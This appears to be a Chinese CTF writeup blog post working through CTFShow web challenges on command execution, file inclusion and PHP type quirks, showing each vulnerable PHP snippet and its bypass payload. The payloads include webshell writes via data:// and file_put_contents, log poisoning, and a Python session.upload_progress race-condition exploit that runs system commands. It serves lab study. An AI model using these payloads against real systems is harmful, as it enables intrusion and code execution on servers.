文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox-Retired

HackTheBox-Active

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

Java安全

算法

Leetcode

随笔

经验

技术

 2020-10-29   10.1k

CTFShow Web Writeup

web入门 命令执行

web29

考点:通配符绕过

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

Payload:

1
?><?=`cat ????.php`?>

web30

考点:通配符绕过

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

Payload:

1
?><?=`cat ????.???`?>

web31

考点:空格、通配符绕过

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

payload:

<?=等价于 <?php echo

1
?><?=`more%09fla??ph?`?>

有一个奇怪的地方就是这里过滤我试了常见的绕过之后只能用%09

web32

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

这个过滤确实是把👴给🤮到了,过滤了反引号不能直接执行命令,过滤了(不能直接使用函数,一直想另外引用一个GET参数,但是没能成功。

这道题的关键地方在于,PHP中不用括号的函数有echoincluderequire,既然过滤了echo,那么就用其他两个。

此外过滤了;可以用?>代替。

默认是没有回显的,可以使用PHP伪协议。

1
2
3
?c=require"$_POST[1]"?>

POST: 1=php://filter/read=convert.base64-encode/resource=flag.php

web33

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

这里涉及到一个PHP特性,echoincluderequire这三个函数直接后面跟$不会影响PHP语法。

所以直接把上面一道题的双引号去掉即可。

1
2
3
?c=require$_POST[1]?>

POST: 1=php://filter/read=convert.base64-encode/resource=flag.php

web34

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

沿用上一个payload

web35

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

继续用上一个payload

web36

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

把上面的payload稍加改造继续用。

web37

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}

}else{
highlight_file(__FILE__);
}

由于禁用了flag关键字不能使用php://协议,但是在allow_url_include=On、allow_url_fopen()=On的条件下,可以使用data://协议写webshell。

payload:

1
data://text/plain;base64,PD9waHAgZWNobyBmaWxlX3B1dF9jb250ZW50cygidGVzdC5waHAiLGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYkoyTmpKMTBwUHo0PSIpKTs/Pg==

web38

沿用上一题的payload。

另外还可以包含日志,在UA中写入一句话,然后直接包含日志文件/var/log/nginx/access.log

web39

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}
1
data:text/plain,<?php echo file_put_contents("test.php","<?php system('cat f*');");?>

web40

考点:无参数函数绕过

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤之后还剩所有的字母和!();_|字符,既然括号还在那么就可以使用函数,用无参数函数解决。

1
show_source(array_rand(array_flip(scandir(current(localeconv())))));

yu22x师傅提到还可以在特定PHP版本 5.4<php<7.2 的情况下使用session_id()绕过。

目标站点用的PHP7.2+,限制了PHPSESSID的合法字符。

web41

web42

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
echo($c." >/dev/null 2>&1");
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

Payload:

1
?c=cat flag.php;

web43

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

payload

1
?c=sort flag.php||

web44

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

payload:

1
c=sort%20fla?.php||

web45

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

payload:

1
?c=sort%09fla?.php||

web46

沿用上一题的payload。

web47

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

Payload:

1
?c=nl%09fla?.php||

web48

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

沿用上一题的payload。

web49

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

沿用上一题的payload。

话说为什么%还是可以用。

web50

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

Payload:

1
?c=nl<fl""ag.php||

web51

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

沿用上一个payload。

web52

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

Payload:

1
?c=nl${IFS}/fl''ag||

web53

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}

payload:

1
?c=nl${IFS}fla''g.php

web54

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

Payload:

1
?c=grep${IFS}''${IFS}????.php

**web55

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

这个题还是可以的,思路P神也提到过https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

具体思路还是看P神的讲解,简单来说就是在上传文件的时候,PHP会在/tmp目录下生成一个临时文件,比如/tmp/phpcjggLC,我们可以上传一个bash文件,然后利用Linux通配符和.命令来运行这个脚本文件。

首先构造一个上传页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://bb128af7-7ae6-40b9-81f2-f1797563529f.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">Filename:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后抓包,更改包的数据:

web56

沿用上一题的payload。

**web57

1
2
3
4
5
6
7
8
9
10
11
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

来学骚姿势了。

1
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

解释一下:

1
2
3
4
5
$(())   ==> 0
$((~$(()))) ==> -1
$(($((~$(())))$((~$(()))))) ==> -2
......
$((~-37)) ==> 36

web58&59

蚁剑连接

web60

蚁剑连接 + 插件绕过

web61-70

命令执行+文件包含

**web71

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

你要上天吗?

做这个题的时候思路走偏了,一直想着用convert编码方式绕过。

payload:

1
c=include('flag.txt');exit();

还有一个更牛逼的

1
c=include('flag.txt');echo ~ob_get_content();

然后再对每个字符&0xff再取反。

**web72

代码和上一道题是一样的。

还是不会,找个wp瞅瞅学一学。

web入门 文件包含

web78

最简单的文件包含利用

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

web79

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

可以通过UserAgent写shell

然后再包含日志文件

不过也还可以用data伪协议写入webshell。

web80

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

这次过滤了data和php,但是还是可以通过大小写Php://input绕过

web81

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

第一种解法同web79。

第二种解法是通过session.upload_progress和条件竞争GetShell,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import io
import threading


url = """http://15b479e2-6c40-4f72-a293-5562a7523e29.chall.ctf.show/"""
sessid = "ca01h"
cookie = {
"PHPSESSID": sessid
}
proxy = {"http": "127.0.0.1:8080"}


def write(session):
while True:
files = {
"upload": io.BytesIO(b'a' * 1024)
}
data = {
"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls');echo 'ca01h';?>"
}
session.post(url=url, files=files, data=data, cookies=cookie)


def read(session):
while True:
req = session.get(url=url+'?file=/tmp/sess_'+sessid)
if 'ca01h' in req.text:
print(req.text)
else:
pass


for i in range(50):
with requests.session() as session:
threading.Thread(target=write, args=(session,)).start()
threading.Thread(target=read, args=(session,)).start()

web82-86

https://ca0y1h.top/Web_security/php_related/13.session.upload_progress+LFI实现RCE/

其中web85

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}

}else{
highlight_file(__FILE__);
}

**web87[TODO]

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}

参考文章:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

思路:两次URLencode编码绕过过滤,php://filter绕过死亡退出,其中有两种方法都可以bypass。

第一种方法使用base64 decode编码

1
php://filter/write=convert.base64-decode/resource=a.php

第二种方法使用strip_tags,但是PHP版本太高,strip_tags已经不让用了。

web入门 PHP特性

web89

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

数组绕过

1
?num[]=1

web90

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

小数点或字母绕过

1
2
?num=4476a
?num=4476.1

web91

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

换行符绕过

1
?cmd=%0aphp

web92

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

小数点绕过

1
?num=4476.1

科学计数法绕过

1
2
3
4
<?php
var_dump('4476e1'==4476); // bool(false)
var_dump('4476e1'==44760); // bool(true)
var_dump(intval('4476e1')); // int(44760)

web93

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

小数点绕过

1
?num=4476.1

web94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

小数点绕过

1
?num=4476.0

web95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

用八进制绕过,又由于0不能出现在第一个字符,可以用空格或+绕过。

1
?num=+10574

web96

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
1
?u=./flag.php

web97

1
2
3
4
5
6
7
8
9
10
11
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

md5强等号用数组绕过,返回NULL

1
a[]=1&b[]=2

web98

1
2
3
4
5
6
7
8
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

一开始没太看懂这个题目的意思,后来百度才知道PHP的&也有引用的功能。

所以第二行代码的意思就是:如果存在GET请求则引用POST请求的内容,否则$_GET='flag'

payload:

1
2
?a=
POST HTTP_FLAG=flag

**web99

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>

这里考察in_array函数的特性

1
2
3
4
5
<?php
$allow1 = array(10,20);
var_dump(in_array('10.php',$allow1)); // bool(true)
$allow2 = array('a','b');
var_dump(in_array(0,$allow2)); // bool(true)

由于该函数并未将第三个参数设置为 true ,这导致攻击者可以通过构造的文件名来绕过服务端的检测,例如文件名为 7shell.php 。因为PHP在使用 in_array() 函数判断时,会将 7shell.php 强制转换成数字7,而数字7在 range(1,24) 数组中,最终绕过 in_array() 函数判断,

payload

1
2
?n=10.php
content=<?php eval($_POST[1]);?>

web100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>

Payload:

1
?v1=1&v2=?><?=`cat ctfshow.php`?>&v3=;

还可以使用get_class_vars()函数获取类属性:

1
?v1=1&v2=get_class_vars&v3=);

**web101

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}
?>

PHP获取类属性的几种方法:https://my.oschina.net/u/3544550/blog/1489826

这里是使用反射API,payload:

1
?v1=1&v2=echo(new ReflectionClass&v3=);

**web102

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>

思路不太好想,PHP5的版本下payload:

1
2
3
4
GET: ?v2=0x3c3f3d60746163202a603b3f3e&v3=sh.php
POST: v1=hex2bin

echo hex2bin('3c3f3d60746163202a603b3f3e') \\ <?=`tac *`;?>

但是这个payload在php7下无法实现,主要原因是该版本的十六进制表示法中的字符串不再被视为数字字符串,即is_numeric() 现在返回 FALSE。

所以这道题就有些脑洞了。

1
2
3
4
5
6
7
8
9
构造需要写入文件的payload
<?=`cat *`;
使用base64编码后:PD89YGNhdCAqYDs
使用bin2hex函数将字符串转成十六进制的内容:5044383959474e6864434171594473
//这里有个巧妙之处,刚好只有一个e,识别成了科学计数法,很顶
而这里的v3也需要进行修改成伪协议的方式
最后的Payload:
GET:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=sh.php
POST:v1=hex2bin

出题人:https://cnblogs.com/erR0Ratao/p/13731541.html

web103

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>

同上

web104

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>

数组绕过

**web105

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

考察变量覆盖

1
2
GET: ?suces=flag
POST: error=suces

或者

1
2
GET: ?suces=flag&flag=1
POST flag=

Web106

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>

数组绕过

web107

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>

弱类型比较

1
2
GET: ?v3=byGcY
POST: v1=flag=0e00

parse_str ( string $encoded_string [, array &$result ] ) : void

1
encoded_string

输入的字符串。

1
result

如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。

PHP7.2版本以上必须有result参数

web108

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>

ereg存在%00截断

1
?c=a%00778

**web109

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>

据说这题目出的有点问题,但是我还是不知道Exception的构造函数可以执行代码。

1
?v1=Exception&v2=system('cat *')

**web110

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");
}
?>

利用 FilesystemIterator 获取指定目录下的所有文件。

1
?v1=FilesystemIterator&v2=getcwd

然后直接访问文件。

**web111

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}

?>

直接看payload吧。。使用全局变量来进行赋值:

1
?v1=ctfshow&v2=GLOBALS

$GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

$$v1 = &$$v2等价于$ctfshow=&$GLOBALS

web112

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

is_file可以用伪协议绕过:

1
2
3
4
<?php
var_dump(is_file('test.php')); // bool(true)
var_dump(is_file('php://filter/convert.base64-encode/resource=test.php')); // bool(false)
var_dump(is_file('file:///flag')); // bool(true)

过滤base64、rot13和string编码,其实不用编码也行

PHP支持的字符编码https://www.php.net/manual/zh/mbstring.supported-encodings.php

1
?file=php://filter/resource=flag.php

或者换一个编码方式:

1
php://filter/read=convert.quoted-printable-encode/resource=flag.php

如果过滤了php和filter,可以换一种伪协议

1
?file=compress.zlib://flag.php

web113

1
2
3
4
5
6
7
8
9
10
11
12
13
14
